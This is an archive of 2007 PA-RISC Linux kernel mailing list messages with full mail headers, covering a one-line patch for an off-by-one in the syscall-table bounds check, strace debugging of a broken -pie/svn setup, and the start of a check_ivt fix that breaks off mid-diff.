> > I believe that we aren't allowed to fault on the gateway page.
> > If we have holes in the syscall table, I think we need a check
> > for this since the following code will fault if r19 is zero:
> > 
> > .Lin_syscall:
> >         ldil    L%syscall_exit,%r2
> > 	be      0(%sr7,%r19)
> > 	ldo     R%syscall_exit(%r2),%r2
> > 
> 
> This is bad. Your kernel is too old, and glibc didn't take this into
> account. I'll hack something up to return -ENOSYS.
> 

Er, we already have code to do this:

#ifdef CONFIG_64BIT
	ldil	L%sys_call_table, %r1
	or,=	%r2,%r2,%r2
	addil	L%(sys_call_table64-sys_call_table), %r1
	ldo	R%sys_call_table(%r1), %r19
	or,=	%r2,%r2,%r2
	ldo	R%sys_call_table64(%r1), %r19
#else
	ldil	L%sys_call_table, %r1
	ldo     R%sys_call_table(%r1), %r19
#endif	
	comiclr,>>=	__NR_Linux_syscalls, %r20, %r0
	b,n	.Lsyscall_nosys
[...]

The bug is that comiclr, the logic is messed.

If __NR_Linux_syscalls is greater than or equal to the syscall number,
nullify the next instruction (skip the branch) and process the syscall.

The problem with this is that when they are equal, it means we're
off-by-one past the end of the syscall table.

comiclr,>>= should be comiclr,>>

This has been broken for a very long time. :/

Cheers,
	Kyle
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PARISC] Fix bug when syscall nr is
	__NR_Linux_syscalls
Date: Sun, 3 Jun 2007 17:50:46 -0400
Lines: 37
Approved: news@gmane.org
Message-ID: <20070603215046.GA1901__15448.7552041703$1416624385$gmane$org@fattire.cabal.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624385 24447 80.91.229.3 (22 Nov 2014 02:46:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:25 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:41 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 Jun 2007 21:50:57 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx091) with SMTP; 03 Jun 2007 23:50:57 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7270F7DDE3;
	Sun,  3 Jun 2007 15:50:55 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13100-01; Sun, 3 Jun 2007 15:50:53 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 578F97DDD2;
	Sun,  3 Jun 2007 15:50:51 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4FFAF7DDCB
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  3 Jun 2007 15:50:49 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12707-08 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 3 Jun 2007 15:50:47 -0600 (MDT)
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca
	[134.117.69.22])
	by free.linux.hp.com (Postfix) with ESMTP id 836FE7DDC4
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  3 Jun 2007 15:50:47 -0600 (MDT)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 276C15840D5
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  3 Jun 2007 17:50:47 -0400 (EDT)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 9D36A5840D2
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  3 Jun 2007 17:50:46 -0400 (EDT)
Original-Received: by fattire.cabal.ca (Postfix, from userid 1000)
	id 52B8023E02; Sun,  3 Jun 2007 17:50:46 -0400 (EDT)
Content-Disposition: inline
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: +gVac7R6eWU7l7eUfHVzPbk5U3U4N48S
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24629

From: Kyle McMartin <kyle@minerva.i.cabal.ca>

The bug was that we were comparing __NR_syscalls to be greater or equal
to the syscall number stored in %r20. __NR_syscalls is one greater than
the last syscall though, so we're loading one entry beyond the end of the
syscall table, and trying to jump to it.

Fix this by only checking that we're greater, alternatively, we could
have compared to (__NR_Linux_syscalls - 1)

Signed-off-by: Kyle McMartin <kyle@parisc-linux.org>
---
 arch/parisc/kernel/syscall.S |    2 +-
 1 files changed, 1 insertions(+), 1 deletions(-)

diff --git a/arch/parisc/kernel/syscall.S b/arch/parisc/kernel/syscall.S
index 91b2a48..56f6231 100644
--- a/arch/parisc/kernel/syscall.S
+++ b/arch/parisc/kernel/syscall.S
@@ -198,7 +198,7 @@ linux_gateway_entry:
 	ldil	L%sys_call_table, %r1
 	ldo     R%sys_call_table(%r1), %r19
 #endif	
-	comiclr,>>=	__NR_Linux_syscalls, %r20, %r0
+	comiclr,>>	__NR_Linux_syscalls, %r20, %r0
 	b,n	.Lsyscall_nosys
 	
 	LDREGX  %r20(%r19), %r19
-- 
1.5.1.3

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] -pie is broken on hppa
Date: Sun, 3 Jun 2007 21:47:10 -0400 (EDT)
Lines: 15
Approved: news@gmane.org
Message-ID: <200706040147.l541lAP3022868__35794.9305828244$1416624385$gmane$org@hiauly1.hia.nrc.ca>
References: <20070604014313.GB2075@fattire.cabal.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624385 24448 80.91.229.3 (22 Nov 2014 02:46:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:25 +0000 (UTC)
Cc: debian-hppa@lists.debian.org,
 parisc-linux@lists.parisc-linux.org,
 matthew@wil.cx
To: kyle@mcmartin.ca (Kyle McMartin)
Original-X-From: - Wed Jul 02 21:27:41 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 04 Jun 2007 01:47:21 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx025) with SMTP; 04 Jun 2007 03:47:21 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 79B747DE0A;
	Sun,  3 Jun 2007 19:47:18 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15010-09; Sun, 3 Jun 2007 19:47:18 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 399EB7DDEF;
	Sun,  3 Jun 2007 19:47:16 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C1FEF7DDEB
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  3 Jun 2007 19:47:13 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15010-05 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 3 Jun 2007 19:47:12 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id DE9BA7DDEA
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  3 Jun 2007 19:47:11 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id l541lBCq022869;
	Sun, 3 Jun 2007 21:47:11 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id l541lAP3022868;
	Sun, 3 Jun 2007 21:47:10 -0400 (EDT)
In-Reply-To: <20070604014313.GB2075@fattire.cabal.ca> from "Kyle McMartin" at
	Jun 3, 2007 09:43:13 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: GFZbc6xEbmw7m62HZzdLyCdHUzc4cpHT
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24630

> I don't suppose you could strace in a chroot with a older working glibc
> and see what syscalls are there?

Probably, I won't have time until next weekend.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] -pie is broken on hppa
Date: Sun, 3 Jun 2007 21:37:12 -0400 (EDT)
Lines: 28
Approved: news@gmane.org
Message-ID: <200706040137.l541bCmm022707__40226.4352109798$1416624386$gmane$org@hiauly1.hia.nrc.ca>
References: <200706040123.l541Nnc1022459@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624386 24451 80.91.229.3 (22 Nov 2014 02:46:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:26 +0000 (UTC)
Cc: kyle@mcmartin.ca,
 debian-hppa@lists.debian.org,
 parisc-linux@lists.parisc-linux.org,
 matthew@wil.cx
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: - Wed Jul 02 21:27:41 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <bounce-debian-hppa=deller=gmx.de@lists.debian.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 04 Jun 2007 02:01:10 -0000
Original-Received: from murphy.debian.org (EHLO murphy.debian.org) [70.103.162.31]
  by mx0.gmx.net (mx100) with SMTP; 04 Jun 2007 04:01:10 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by murphy.debian.org (Postfix) with QMQP
	id 7DD032E64D; Mon,  4 Jun 2007 02:00:50 +0000 (UTC)
Old-Return-Path: <dave@hiauly1.hia.nrc.ca>
X-Spam-Checker-Version: SpamAssassin 3.1.4 (2006-07-26) on murphy.debian.org
X-Spam-Status: No, score=-1.1 required=4.0 tests=AWL,BAYES_00,IMPRONONCABLE_2,
	UNPARSEABLE_RELAY autolearn=no version=3.1.4
X-Original-To: debian-hppa@lists.debian.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by murphy.debian.org (Postfix) with ESMTP id 661372E081
	for <debian-hppa@lists.debian.org>; Mon,  4 Jun 2007 01:36:57 +0000 (UTC)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id l541bC1o022708;
	Sun, 3 Jun 2007 21:37:13 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id l541bCmm022707;
	Sun, 3 Jun 2007 21:37:12 -0400 (EDT)
In-Reply-To: <200706040123.l541Nnc1022459@hiauly1.hia.nrc.ca> from "John David Anglin" at Jun 3, 2007 09:23:49 pm
X-Mailer: ELM [version 2.4 PL25]
X-Rc-Spam: 2007-05-24_01
X-Rc-Virus: 2006-10-25_01
X-Rc-Spam: 2007-05-24_01
Resent-Message-ID: <AtRczD.A.m4E.SJ3YGB@murphy>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/5773
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Mon,  4 Jun 2007 02:00:50 +0000 (UTC)
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Sender is in whitelist: bounce-debian-hppa=deller=gmx.de@lists.debian.org)
X-GMX-UID: UEdRfqUEPjltz+rBOTU21VkzMTE2NcnV
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24631

> However, svn is still behaving wierdly:

Running svn cleanup with strace, these are the last few syscalls:

lstat64("libgcc/config/ia64/.svn/tmp/propsbase", 0xc02b6f08) = -1 ENOENT (No such file or directory)
gettimeofday({1180920486, 457857}, NULL) = 0
_newselect(0, NULL, NULL, NULL, {0, 642143}) = 0 (Timeout)
write(2, "svn: Can\'t read directory \'libgc"..., 112svn: Can't read directory 'libgcc/config/ia64/.svn/tmp': Partial results are valid but processing is incomplete
) = 112
close(3)                                = 0
brk(0x80000)                            = 0x80000
exit_group(1)                           = ?
Process 1357 detached

I wonder if there is a problem with lstat64.  Is this one of the syscalls
that was added recently?

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


-- 
To UNSUBSCRIBE, email to debian-hppa-REQUEST@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmaster@lists.debian.org



From - Thu Nov 08 21:36:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] -pie is broken on hppa
Date: Sun, 3 Jun 2007 21:43:13 -0400
Lines: 28
Approved: news@gmane.org
Message-ID: <20070604014313.GB2075__12233.7032844827$1416624386$gmane$org@fattire.cabal.ca>
References: <200706040123.l541Nnc1022459@hiauly1.hia.nrc.ca> <200706040137.l541bCmm022707@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624386 24457 80.91.229.3 (22 Nov 2014 02:46:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:26 +0000 (UTC)
Cc: debian-hppa@lists.debian.org,
 parisc-linux@lists.parisc-linux.org,
 matthew@wil.cx
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:41 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <bounce-debian-hppa=deller=gmx.de@lists.debian.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 04 Jun 2007 02:03:44 -0000
Original-Received: from murphy.debian.org (EHLO murphy.debian.org) [70.103.162.31]
  by mx0.gmx.net (mx067) with SMTP; 04 Jun 2007 04:03:44 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by murphy.debian.org (Postfix) with QMQP
	id 80F112E081; Mon,  4 Jun 2007 02:03:26 +0000 (UTC)
Old-Return-Path: <kyle@fattire.cabal.ca>
X-Spam-Checker-Version: SpamAssassin 3.1.4 (2006-07-26) on murphy.debian.org
X-Spam-Status: No, score=-1.1 required=4.0 tests=AWL,BAYES_00,
	FORGED_RCVD_HELO,IMPRONONCABLE_2 autolearn=no version=3.1.4
X-Original-To: debian-hppa@lists.debian.org
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca [134.117.69.22])
	by murphy.debian.org (Postfix) with ESMTP id A7BE72DFA5
	for <debian-hppa@lists.debian.org>; Mon,  4 Jun 2007 01:42:58 +0000 (UTC)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id C01DA5840CE;
	Sun,  3 Jun 2007 21:43:14 -0400 (EDT)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 4B5815840C3;
	Sun,  3 Jun 2007 21:43:14 -0400 (EDT)
Original-Received: by fattire.cabal.ca (Postfix, from userid 1000)
	id EFBCF23E02; Sun,  3 Jun 2007 21:43:13 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <200706040137.l541bCmm022707@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-Rc-Spam: 2007-05-24_01
X-Rc-Virus: 2006-10-25_01
X-Rc-Spam: 2007-05-24_01
Resent-Message-ID: <crpKO.A.MUH.uL3YGB@murphy>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/5774
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Mon,  4 Jun 2007 02:03:26 +0000 (UTC)
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Sender is in whitelist: bounce-debian-hppa=deller=gmx.de@lists.debian.org)
X-GMX-UID: SDUFLOZBaHI+m6WnKSUlSghqamdhZEQv
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24632

On Sun, Jun 03, 2007 at 09:37:12PM -0400, John David Anglin wrote:
> Running svn cleanup with strace, these are the last few syscalls:
> 
> lstat64("libgcc/config/ia64/.svn/tmp/propsbase", 0xc02b6f08) = -1 ENOENT (No such file or directory)
> gettimeofday({1180920486, 457857}, NULL) = 0
> _newselect(0, NULL, NULL, NULL, {0, 642143}) = 0 (Timeout)
> write(2, "svn: Can\'t read directory \'libgc"..., 112svn: Can't read directory 'libgcc/config/ia64/.svn/tmp': Partial results are valid but processing is incomplete
> ) = 112
> close(3)                                = 0
> brk(0x80000)                            = 0x80000
> exit_group(1)                           = ?
> Process 1357 detached
> 

I don't suppose you could strace in a chroot with a older working glibc
and see what syscalls are there?

I don't see anything offhand that would have changed about this here.

Cheers,
	Kyle


-- 
To UNSUBSCRIBE, email to debian-hppa-REQUEST@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmaster@lists.debian.org



From - Thu Nov 08 21:36:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PARISC] Fix kernel panic in check_ivt
Date: Mon, 4 Jun 2007 01:49:54 -0400
Lines: 75
Approved: news@gmane.org
Message-ID: <20070604054954.GA12289__20325.6574845456$1416624386$gmane$org@fattire.cabal.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624386 24461 80.91.229.3 (22 Nov 2014 02:46:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:26 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:41 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 04 Jun 2007 05:50:09 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx060) with SMTP; 04 Jun 2007 07:50:09 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 353157DDFB;
	Sun,  3 Jun 2007 23:50:05 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16409-02; Sun, 3 Jun 2007 23:50:05 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 209F37DDFD;
	Sun,  3 Jun 2007 23:50:01 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1DCD37DDF8
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  3 Jun 2007 23:49:58 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15275-09 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 3 Jun 2007 23:49:56 -0600 (MDT)
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca
	[134.117.69.22])
	by free.linux.hp.com (Postfix) with ESMTP id 3F52C7DDBF
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  3 Jun 2007 23:49:56 -0600 (MDT)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id B40345840C1
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  4 Jun 2007 01:49:55 -0400 (EDT)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 2B5D85840C0
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  4 Jun 2007 01:49:55 -0400 (EDT)
Original-Received: by fattire.cabal.ca (Postfix, from userid 1000)
	id D116A23E02; Mon,  4 Jun 2007 01:49:54 -0400 (EDT)
Content-Disposition: inline
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: ft0KdaBZeWU3n62TZm9nmIUrL0tsZk0s
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24633

From: Kyle McMartin <kyle@parisc-linux.org>

check_ivt had some seriously broken code wrt function pointers on
parisc64. Instead of referencing the hpmc code via a function pointer,
export symbols and reference it as a const array.

Thanks to jda for pointing out the broken 64-bit func ptr handling.

Signed-off-by: Kyle McMartin <kyle@parisc-linux.org>
---
 arch/parisc/kernel/hpmc.S  |    7 ++++---
 arch/parisc/kernel/traps.c |    8 ++++----
 2 files changed, 8 insertions(+), 7 deletions(-)

diff --git a/arch/parisc/kernel/hpmc.S b/arch/parisc/kernel/hpmc.S
index d8baa15..abda491 100644
--- a/arch/parisc/kernel/hpmc.S
+++ b/arch/parisc/kernel/hpmc.S
@@ -79,6 +79,8 @@ END(hpmc_pim_data)
 	.text
 
 	.import intr_save, code
+	.export __os_hpmc, data
+__os_hpmc:
 ENTRY(os_hpmc)
 
 	/*
